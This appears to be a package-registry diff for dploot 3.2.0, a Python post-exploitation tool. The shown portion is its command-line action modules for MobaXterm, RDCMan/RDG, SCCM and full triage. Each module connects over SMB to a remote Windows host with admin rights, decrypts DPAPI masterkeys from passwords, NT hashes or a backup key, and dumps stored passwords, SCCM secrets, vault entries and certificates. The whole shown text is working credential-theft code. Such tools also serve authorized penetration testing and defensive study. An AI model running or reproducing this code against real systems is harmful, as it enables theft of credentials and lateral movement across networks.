dploot 3.2.0__py2.py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- dploot/__init__.py +0 -0
- dploot/action/__init__.py +0 -0
- dploot/action/backupkey.py +102 -0
- dploot/action/blob.py +167 -0
- dploot/action/browser.py +192 -0
- dploot/action/certificates.py +146 -0
- dploot/action/cng.py +129 -0
- dploot/action/credentials.py +132 -0
- dploot/action/machinecertificates.py +136 -0
- dploot/action/machinecng.py +120 -0
- dploot/action/machinecredentials.py +120 -0
- dploot/action/machinemasterkeys.py +117 -0
- dploot/action/machinetriage.py +158 -0
- dploot/action/machinevaults.py +127 -0
- dploot/action/masterkeys.py +200 -0
- dploot/action/mobaxterm.py +138 -0
- dploot/action/rdg.py +132 -0
- dploot/action/sccm.py +125 -0
- dploot/action/triage.py +187 -0
- dploot/action/vaults.py +132 -0
- dploot/action/wam.py +133 -0
- dploot/action/wifi.py +137 -0
- dploot/entry.py +98 -0
- dploot/lib/__init__.py +0 -0
- dploot/lib/consts.py +30 -0
- dploot/lib/crypto.py +415 -0
- dploot/lib/dpapi.py +302 -0
- dploot/lib/masterkey.py +75 -0
- dploot/lib/smb.py +517 -0
- dploot/lib/target.py +219 -0
- dploot/lib/utils.py +99 -0
- dploot/lib/wmi.py +61 -0
- dploot/triage/__init__.py +30 -0
- dploot/triage/backupkey.py +81 -0
- dploot/triage/browser.py +441 -0
- dploot/triage/certificates.py +444 -0
- dploot/triage/cng.py +165 -0
- dploot/triage/credentials.py +163 -0
- dploot/triage/masterkeys.py +279 -0
- dploot/triage/mobaxterm.py +653 -0
- dploot/triage/rdg.py +249 -0
- dploot/triage/sccm.py +302 -0
- dploot/triage/vaults.py +307 -0
- dploot/triage/wam.py +251 -0
- dploot/triage/wifi.py +424 -0
- dploot-3.2.0.dist-info/METADATA +865 -0
- dploot-3.2.0.dist-info/RECORD +50 -0
- dploot-3.2.0.dist-info/WHEEL +4 -0
- dploot-3.2.0.dist-info/entry_points.txt +3 -0
- dploot-3.2.0.dist-info/licenses/LICENSE +21 -0
|
@@ -0,0 +1,138 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Tuple
|
|
5
|
+
|
|
6
|
+
from dploot.action.masterkeys import (
|
|
7
|
+
add_masterkeys_argument_group,
|
|
8
|
+
parse_masterkeys_options,
|
|
9
|
+
)
|
|
10
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
11
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
12
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
13
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
14
|
+
from dploot.triage.mobaxterm import MobaXtermTriage
|
|
15
|
+
|
|
16
|
+
NAME = "mobaxterm"
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
class MobaXtermAction:
|
|
20
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
21
|
+
self.options = options
|
|
22
|
+
self.target = Target.from_options(options)
|
|
23
|
+
|
|
24
|
+
self.conn = None
|
|
25
|
+
self._is_admin = None
|
|
26
|
+
self._users = None
|
|
27
|
+
self.outputdir = None
|
|
28
|
+
self.masterkeys = None
|
|
29
|
+
self.pvkbytes = None
|
|
30
|
+
|
|
31
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
32
|
+
|
|
33
|
+
if self.options.mkfile is not None:
|
|
34
|
+
try:
|
|
35
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
36
|
+
except Exception as e:
|
|
37
|
+
logging.error(str(e))
|
|
38
|
+
sys.exit(1)
|
|
39
|
+
|
|
40
|
+
self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
|
|
41
|
+
self.options, self.target
|
|
42
|
+
)
|
|
43
|
+
|
|
44
|
+
def connect(self) -> None:
|
|
45
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
46
|
+
if self.conn.connect() is None:
|
|
47
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
48
|
+
sys.exit(1)
|
|
49
|
+
|
|
50
|
+
def run(self) -> None:
|
|
51
|
+
self.connect()
|
|
52
|
+
logging.info(
|
|
53
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
54
|
+
self.target.address,
|
|
55
|
+
self.target.domain,
|
|
56
|
+
self.target.username,
|
|
57
|
+
("(admin)" if self.is_admin else ""),
|
|
58
|
+
)
|
|
59
|
+
)
|
|
60
|
+
if self.is_admin:
|
|
61
|
+
if self.masterkeys is None:
|
|
62
|
+
|
|
63
|
+
def masterkey_triage(masterkey):
|
|
64
|
+
masterkey.dump()
|
|
65
|
+
|
|
66
|
+
masterkeytriage = MasterkeysTriage(
|
|
67
|
+
target=self.target,
|
|
68
|
+
conn=self.conn,
|
|
69
|
+
pvkbytes=self.pvkbytes,
|
|
70
|
+
nthashes=self.nthashes,
|
|
71
|
+
passwords=self.passwords,
|
|
72
|
+
per_masterkey_callback=masterkey_triage
|
|
73
|
+
if not self.options.quiet
|
|
74
|
+
else None,
|
|
75
|
+
)
|
|
76
|
+
logging.info("Triage ALL USERS masterkeys\n")
|
|
77
|
+
self.masterkeys = masterkeytriage.triage_masterkeys()
|
|
78
|
+
print()
|
|
79
|
+
if self.outputdir is not None:
|
|
80
|
+
dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
|
|
81
|
+
|
|
82
|
+
def secret_callback(secret):
|
|
83
|
+
if self.options.quiet:
|
|
84
|
+
secret.dump_quiet()
|
|
85
|
+
else:
|
|
86
|
+
secret.dump()
|
|
87
|
+
|
|
88
|
+
triage = MobaXtermTriage(
|
|
89
|
+
target=self.target,
|
|
90
|
+
conn=self.conn,
|
|
91
|
+
masterkeys=self.masterkeys,
|
|
92
|
+
per_secret_callback=secret_callback,
|
|
93
|
+
)
|
|
94
|
+
logging.info("Triage MobaXterm Secrets\n")
|
|
95
|
+
triage.triage_mobaxterm(offline_users=self.options.dump_offline_users)
|
|
96
|
+
if self.outputdir is not None:
|
|
97
|
+
dump_looted_files_to_disk(self.outputdir, triage.looted_files)
|
|
98
|
+
else:
|
|
99
|
+
logging.info("Not an admin, exiting...")
|
|
100
|
+
|
|
101
|
+
@property
|
|
102
|
+
def is_admin(self) -> bool:
|
|
103
|
+
if self._is_admin is not None:
|
|
104
|
+
return self._is_admin
|
|
105
|
+
|
|
106
|
+
self._is_admin = self.conn.is_admin()
|
|
107
|
+
return self._is_admin
|
|
108
|
+
|
|
109
|
+
|
|
110
|
+
def entry(options: argparse.Namespace) -> None:
|
|
111
|
+
a = MobaXtermAction(options)
|
|
112
|
+
a.run()
|
|
113
|
+
|
|
114
|
+
|
|
115
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
116
|
+
subparser = subparsers.add_parser(
|
|
117
|
+
NAME, help="Dump Passwords and Credentials from MobaXterm"
|
|
118
|
+
)
|
|
119
|
+
|
|
120
|
+
group = subparser.add_argument_group("mobaxterm options")
|
|
121
|
+
|
|
122
|
+
group.add_argument(
|
|
123
|
+
"-mkfile",
|
|
124
|
+
action="store",
|
|
125
|
+
help=("File containing {GUID}:SHA1 masterkeys mappings"),
|
|
126
|
+
)
|
|
127
|
+
|
|
128
|
+
add_masterkeys_argument_group(group)
|
|
129
|
+
|
|
130
|
+
group.add_argument(
|
|
131
|
+
"-dump-offline-users",
|
|
132
|
+
action="store_true",
|
|
133
|
+
help=("Will try to offline users by dumping them NTUSER.DAT file. Noisy"),
|
|
134
|
+
)
|
|
135
|
+
|
|
136
|
+
add_target_argument_group(subparser)
|
|
137
|
+
|
|
138
|
+
return NAME, entry
|
dploot/action/rdg.py
ADDED
|
@@ -0,0 +1,132 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Tuple
|
|
5
|
+
from dploot.action.masterkeys import (
|
|
6
|
+
add_masterkeys_argument_group,
|
|
7
|
+
parse_masterkeys_options,
|
|
8
|
+
)
|
|
9
|
+
|
|
10
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
11
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
12
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
13
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
14
|
+
from dploot.triage.rdg import RDGTriage
|
|
15
|
+
|
|
16
|
+
NAME = "rdg"
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
class RDGAction:
|
|
20
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
21
|
+
self.options = options
|
|
22
|
+
self.target = Target.from_options(options)
|
|
23
|
+
|
|
24
|
+
self.conn = None
|
|
25
|
+
self._is_admin = None
|
|
26
|
+
self._users = None
|
|
27
|
+
self.outputdir = None
|
|
28
|
+
self.masterkeys = None
|
|
29
|
+
self.pvkbytes = None
|
|
30
|
+
|
|
31
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
32
|
+
|
|
33
|
+
if self.options.mkfile is not None:
|
|
34
|
+
try:
|
|
35
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
36
|
+
except Exception as e:
|
|
37
|
+
logging.error(str(e))
|
|
38
|
+
sys.exit(1)
|
|
39
|
+
|
|
40
|
+
self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
|
|
41
|
+
self.options, self.target
|
|
42
|
+
)
|
|
43
|
+
|
|
44
|
+
def connect(self) -> None:
|
|
45
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
46
|
+
if self.conn.connect() is None:
|
|
47
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
48
|
+
sys.exit(1)
|
|
49
|
+
|
|
50
|
+
def run(self) -> None:
|
|
51
|
+
self.connect()
|
|
52
|
+
logging.info(
|
|
53
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
54
|
+
self.target.address,
|
|
55
|
+
self.target.domain,
|
|
56
|
+
self.target.username,
|
|
57
|
+
("(admin)" if self.is_admin else ""),
|
|
58
|
+
)
|
|
59
|
+
)
|
|
60
|
+
if self.is_admin:
|
|
61
|
+
if self.masterkeys is None:
|
|
62
|
+
|
|
63
|
+
def masterkey_triage(masterkey):
|
|
64
|
+
masterkey.dump()
|
|
65
|
+
|
|
66
|
+
masterkeytriage = MasterkeysTriage(
|
|
67
|
+
target=self.target,
|
|
68
|
+
conn=self.conn,
|
|
69
|
+
pvkbytes=self.pvkbytes,
|
|
70
|
+
nthashes=self.nthashes,
|
|
71
|
+
passwords=self.passwords,
|
|
72
|
+
per_masterkey_callback=masterkey_triage
|
|
73
|
+
if not self.options.quiet
|
|
74
|
+
else None,
|
|
75
|
+
)
|
|
76
|
+
logging.info("Triage ALL USERS masterkeys\n")
|
|
77
|
+
self.masterkeys = masterkeytriage.triage_masterkeys()
|
|
78
|
+
print()
|
|
79
|
+
if self.outputdir is not None:
|
|
80
|
+
dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
|
|
81
|
+
|
|
82
|
+
def credential_callback(credential):
|
|
83
|
+
if self.options.quiet:
|
|
84
|
+
credential.dump_quiet()
|
|
85
|
+
else:
|
|
86
|
+
credential.dump()
|
|
87
|
+
|
|
88
|
+
triage = RDGTriage(
|
|
89
|
+
target=self.target,
|
|
90
|
+
conn=self.conn,
|
|
91
|
+
masterkeys=self.masterkeys,
|
|
92
|
+
per_credential_callback=credential_callback,
|
|
93
|
+
)
|
|
94
|
+
logging.info("Triage RDCMAN Settings and RDG files for ALL USERS\n")
|
|
95
|
+
triage.triage_rdcman()
|
|
96
|
+
if self.outputdir is not None:
|
|
97
|
+
dump_looted_files_to_disk(self.outputdir, triage.looted_files)
|
|
98
|
+
else:
|
|
99
|
+
logging.info("Not an admin, exiting...")
|
|
100
|
+
|
|
101
|
+
@property
|
|
102
|
+
def is_admin(self) -> bool:
|
|
103
|
+
if self._is_admin is not None:
|
|
104
|
+
return self._is_admin
|
|
105
|
+
|
|
106
|
+
self._is_admin = self.conn.is_admin()
|
|
107
|
+
return self._is_admin
|
|
108
|
+
|
|
109
|
+
|
|
110
|
+
def entry(options: argparse.Namespace) -> None:
|
|
111
|
+
a = RDGAction(options)
|
|
112
|
+
a.run()
|
|
113
|
+
|
|
114
|
+
|
|
115
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
116
|
+
subparser = subparsers.add_parser(
|
|
117
|
+
NAME,
|
|
118
|
+
help="Dump users saved password information for RDCMan.settings from local or remote target",
|
|
119
|
+
)
|
|
120
|
+
|
|
121
|
+
group = subparser.add_argument_group("rdg options")
|
|
122
|
+
|
|
123
|
+
group.add_argument(
|
|
124
|
+
"-mkfile",
|
|
125
|
+
action="store",
|
|
126
|
+
help=("File containing {GUID}:SHA1 masterkeys mappings"),
|
|
127
|
+
)
|
|
128
|
+
|
|
129
|
+
add_masterkeys_argument_group(group)
|
|
130
|
+
add_target_argument_group(subparser)
|
|
131
|
+
|
|
132
|
+
return NAME, entry
|
dploot/action/sccm.py
ADDED
|
@@ -0,0 +1,125 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Tuple
|
|
5
|
+
|
|
6
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
7
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
8
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
9
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
10
|
+
from dploot.triage.sccm import SCCMTriage
|
|
11
|
+
|
|
12
|
+
NAME = "sccm"
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
class SCCMAction:
|
|
16
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
17
|
+
self.options = options
|
|
18
|
+
self.target = Target.from_options(options)
|
|
19
|
+
|
|
20
|
+
self.conn = None
|
|
21
|
+
self._is_admin = None
|
|
22
|
+
self._users = None
|
|
23
|
+
self.outputdir = None
|
|
24
|
+
self.masterkeys = None
|
|
25
|
+
|
|
26
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
27
|
+
|
|
28
|
+
if self.options.mkfile is not None:
|
|
29
|
+
try:
|
|
30
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
31
|
+
except Exception as e:
|
|
32
|
+
logging.error(str(e))
|
|
33
|
+
sys.exit(1)
|
|
34
|
+
|
|
35
|
+
def connect(self) -> None:
|
|
36
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
37
|
+
if self.conn.connect() is None:
|
|
38
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
39
|
+
sys.exit(1)
|
|
40
|
+
|
|
41
|
+
def run(self) -> None:
|
|
42
|
+
self.connect()
|
|
43
|
+
logging.info(
|
|
44
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
45
|
+
self.target.address,
|
|
46
|
+
self.target.domain,
|
|
47
|
+
self.target.username,
|
|
48
|
+
("(admin)" if self.is_admin else ""),
|
|
49
|
+
)
|
|
50
|
+
)
|
|
51
|
+
if self.is_admin:
|
|
52
|
+
if self.masterkeys is None:
|
|
53
|
+
|
|
54
|
+
def masterkey_triage(masterkey):
|
|
55
|
+
masterkey.dump()
|
|
56
|
+
|
|
57
|
+
masterkeytriage = MasterkeysTriage(
|
|
58
|
+
target=self.target,
|
|
59
|
+
conn=self.conn,
|
|
60
|
+
per_masterkey_callback=masterkey_triage
|
|
61
|
+
if not self.options.quiet
|
|
62
|
+
else None,
|
|
63
|
+
)
|
|
64
|
+
logging.info("Triage SYSTEM masterkeys\n")
|
|
65
|
+
self.masterkeys = masterkeytriage.triage_system_masterkeys()
|
|
66
|
+
print()
|
|
67
|
+
if self.outputdir is not None:
|
|
68
|
+
dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
|
|
69
|
+
|
|
70
|
+
def secret_callback(secret):
|
|
71
|
+
if self.options.quiet:
|
|
72
|
+
secret.dump_quiet()
|
|
73
|
+
else:
|
|
74
|
+
secret.dump()
|
|
75
|
+
|
|
76
|
+
triage = SCCMTriage(
|
|
77
|
+
target=self.target,
|
|
78
|
+
conn=self.conn,
|
|
79
|
+
masterkeys=self.masterkeys,
|
|
80
|
+
per_secret_callback=secret_callback,
|
|
81
|
+
)
|
|
82
|
+
logging.info("Triage SCCM Secrets\n")
|
|
83
|
+
triage.triage_sccm(use_wmi=self.options.wmi)
|
|
84
|
+
if self.outputdir is not None:
|
|
85
|
+
dump_looted_files_to_disk(self.outputdir, triage.looted_files)
|
|
86
|
+
else:
|
|
87
|
+
logging.info("Not an admin, exiting...")
|
|
88
|
+
|
|
89
|
+
@property
|
|
90
|
+
def is_admin(self) -> bool:
|
|
91
|
+
if self._is_admin is not None:
|
|
92
|
+
return self._is_admin
|
|
93
|
+
|
|
94
|
+
self._is_admin = self.conn.is_admin()
|
|
95
|
+
return self._is_admin
|
|
96
|
+
|
|
97
|
+
|
|
98
|
+
def entry(options: argparse.Namespace) -> None:
|
|
99
|
+
a = SCCMAction(options)
|
|
100
|
+
a.run()
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
104
|
+
subparser = subparsers.add_parser(
|
|
105
|
+
NAME,
|
|
106
|
+
help="Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target",
|
|
107
|
+
)
|
|
108
|
+
|
|
109
|
+
group = subparser.add_argument_group("sccm options")
|
|
110
|
+
|
|
111
|
+
group.add_argument(
|
|
112
|
+
"-mkfile",
|
|
113
|
+
action="store",
|
|
114
|
+
help=("File containing {GUID}:SHA1 masterkeys mappings"),
|
|
115
|
+
)
|
|
116
|
+
|
|
117
|
+
group.add_argument(
|
|
118
|
+
"-wmi",
|
|
119
|
+
action="store_true",
|
|
120
|
+
help=("Dump SCCM secrets from WMI requests results"),
|
|
121
|
+
)
|
|
122
|
+
|
|
123
|
+
add_target_argument_group(subparser)
|
|
124
|
+
|
|
125
|
+
return NAME, entry
|
dploot/action/triage.py
ADDED
|
@@ -0,0 +1,187 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Tuple
|
|
5
|
+
from dploot.action.masterkeys import (
|
|
6
|
+
add_masterkeys_argument_group,
|
|
7
|
+
parse_masterkeys_options,
|
|
8
|
+
)
|
|
9
|
+
|
|
10
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
11
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
12
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
13
|
+
from dploot.triage.certificates import CertificatesTriage
|
|
14
|
+
from dploot.triage.credentials import CredentialsTriage
|
|
15
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
16
|
+
from dploot.triage.rdg import RDGTriage
|
|
17
|
+
from dploot.triage.vaults import VaultsTriage
|
|
18
|
+
|
|
19
|
+
NAME = "triage"
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
class TriageAction:
|
|
23
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
24
|
+
self.options = options
|
|
25
|
+
self.target = Target.from_options(options)
|
|
26
|
+
|
|
27
|
+
self.conn = None
|
|
28
|
+
self._is_admin = None
|
|
29
|
+
self.outputdir = None
|
|
30
|
+
self.masterkeys = None
|
|
31
|
+
self.pvkbytes = None
|
|
32
|
+
self.passwords = None
|
|
33
|
+
self.nthashes = None
|
|
34
|
+
|
|
35
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
36
|
+
|
|
37
|
+
if self.options.mkfile is not None:
|
|
38
|
+
try:
|
|
39
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
40
|
+
except Exception as e:
|
|
41
|
+
logging.error(str(e))
|
|
42
|
+
sys.exit(1)
|
|
43
|
+
|
|
44
|
+
self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
|
|
45
|
+
self.options, self.target
|
|
46
|
+
)
|
|
47
|
+
|
|
48
|
+
def connect(self) -> None:
|
|
49
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
50
|
+
if self.conn.connect() is None:
|
|
51
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
52
|
+
sys.exit(1)
|
|
53
|
+
|
|
54
|
+
def run(self) -> None:
|
|
55
|
+
self.connect()
|
|
56
|
+
logging.info(
|
|
57
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
58
|
+
self.target.address,
|
|
59
|
+
self.target.domain,
|
|
60
|
+
self.target.username,
|
|
61
|
+
("(admin)" if self.is_admin else ""),
|
|
62
|
+
)
|
|
63
|
+
)
|
|
64
|
+
|
|
65
|
+
if self.is_admin:
|
|
66
|
+
if self.masterkeys is None:
|
|
67
|
+
|
|
68
|
+
def masterkey_callback(masterkey):
|
|
69
|
+
masterkey.dump()
|
|
70
|
+
|
|
71
|
+
masterkeys_triage = MasterkeysTriage(
|
|
72
|
+
target=self.target,
|
|
73
|
+
conn=self.conn,
|
|
74
|
+
pvkbytes=self.pvkbytes,
|
|
75
|
+
nthashes=self.nthashes,
|
|
76
|
+
passwords=self.passwords,
|
|
77
|
+
per_masterkey_callback=masterkey_callback
|
|
78
|
+
if not self.options.quiet
|
|
79
|
+
else None,
|
|
80
|
+
)
|
|
81
|
+
logging.info("Triage ALL USERS masterkeys\n")
|
|
82
|
+
self.masterkeys = masterkeys_triage.triage_masterkeys()
|
|
83
|
+
print()
|
|
84
|
+
if self.outputdir is not None:
|
|
85
|
+
dump_looted_files_to_disk(self.outputdir, masterkeys_triage.looted_files)
|
|
86
|
+
|
|
87
|
+
def credential_callback(credential):
|
|
88
|
+
if self.options.quiet:
|
|
89
|
+
credential.dump_quiet()
|
|
90
|
+
else:
|
|
91
|
+
credential.dump()
|
|
92
|
+
|
|
93
|
+
credentials_triage = CredentialsTriage(
|
|
94
|
+
target=self.target,
|
|
95
|
+
conn=self.conn,
|
|
96
|
+
masterkeys=self.masterkeys,
|
|
97
|
+
per_credential_callback=credential_callback,
|
|
98
|
+
)
|
|
99
|
+
logging.info("Triage Credentials for ALL USERS\n")
|
|
100
|
+
credentials_triage.triage_credentials()
|
|
101
|
+
if self.outputdir is not None:
|
|
102
|
+
dump_looted_files_to_disk(self.outputdir, credentials_triage.looted_files)
|
|
103
|
+
|
|
104
|
+
vaults_triage = VaultsTriage(
|
|
105
|
+
target=self.target,
|
|
106
|
+
conn=self.conn,
|
|
107
|
+
masterkeys=self.masterkeys,
|
|
108
|
+
per_vault_callback=credential_callback,
|
|
109
|
+
)
|
|
110
|
+
logging.info("Triage Vaults for ALL USERS\n")
|
|
111
|
+
vaults_triage.triage_vaults()
|
|
112
|
+
if self.outputdir is not None:
|
|
113
|
+
dump_looted_files_to_disk(self.outputdir, vaults_triage.looted_files)
|
|
114
|
+
|
|
115
|
+
rdg_triage = RDGTriage(
|
|
116
|
+
target=self.target,
|
|
117
|
+
conn=self.conn,
|
|
118
|
+
masterkeys=self.masterkeys,
|
|
119
|
+
per_credential_callback=credential_callback,
|
|
120
|
+
)
|
|
121
|
+
logging.info("Triage RDCMAN Settings and RDG files for ALL USERS\n")
|
|
122
|
+
rdg_triage.triage_rdcman()
|
|
123
|
+
if self.outputdir is not None:
|
|
124
|
+
dump_looted_files_to_disk(self.outputdir, rdg_triage.looted_files)
|
|
125
|
+
|
|
126
|
+
def certificate_callback(certificate):
|
|
127
|
+
if not self.options.dump_all and not certificate.clientauth:
|
|
128
|
+
return
|
|
129
|
+
if not self.options.quiet:
|
|
130
|
+
certificate.dump()
|
|
131
|
+
filename = f"{certificate.username}_{certificate.filename[:16]}.pfx"
|
|
132
|
+
logging.critical("Writting certificate to %s" % filename)
|
|
133
|
+
with open(filename, "wb") as f:
|
|
134
|
+
f.write(certificate.pfx)
|
|
135
|
+
|
|
136
|
+
certificates_triage = CertificatesTriage(
|
|
137
|
+
target=self.target,
|
|
138
|
+
conn=self.conn,
|
|
139
|
+
masterkeys=self.masterkeys,
|
|
140
|
+
per_certificate_callback=certificate_callback,
|
|
141
|
+
)
|
|
142
|
+
logging.info("Triage Certificates for ALL USERS\n")
|
|
143
|
+
certificates_triage.triage_certificates()
|
|
144
|
+
if self.outputdir is not None:
|
|
145
|
+
dump_looted_files_to_disk(self.outputdir, certificates_triage.looted_files)
|
|
146
|
+
else:
|
|
147
|
+
logging.info("Not an admin, exiting...")
|
|
148
|
+
|
|
149
|
+
@property
|
|
150
|
+
def is_admin(self) -> bool:
|
|
151
|
+
if self._is_admin is not None:
|
|
152
|
+
return self._is_admin
|
|
153
|
+
|
|
154
|
+
self._is_admin = self.conn.is_admin()
|
|
155
|
+
return self._is_admin
|
|
156
|
+
|
|
157
|
+
|
|
158
|
+
def entry(options: argparse.Namespace) -> None:
|
|
159
|
+
a = TriageAction(options)
|
|
160
|
+
a.run()
|
|
161
|
+
|
|
162
|
+
|
|
163
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
164
|
+
subparser = subparsers.add_parser(
|
|
165
|
+
NAME,
|
|
166
|
+
help="Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target",
|
|
167
|
+
)
|
|
168
|
+
|
|
169
|
+
group = subparser.add_argument_group("triage options")
|
|
170
|
+
|
|
171
|
+
group.add_argument(
|
|
172
|
+
"-mkfile",
|
|
173
|
+
action="store",
|
|
174
|
+
help=("File containing {GUID}:SHA1 masterkeys mappings"),
|
|
175
|
+
)
|
|
176
|
+
|
|
177
|
+
add_masterkeys_argument_group(group)
|
|
178
|
+
|
|
179
|
+
group.add_argument(
|
|
180
|
+
"-dump-all",
|
|
181
|
+
action="store_true",
|
|
182
|
+
help=("Dump also certificates not used for client authentication"),
|
|
183
|
+
)
|
|
184
|
+
|
|
185
|
+
add_target_argument_group(subparser)
|
|
186
|
+
|
|
187
|
+
return NAME, entry
|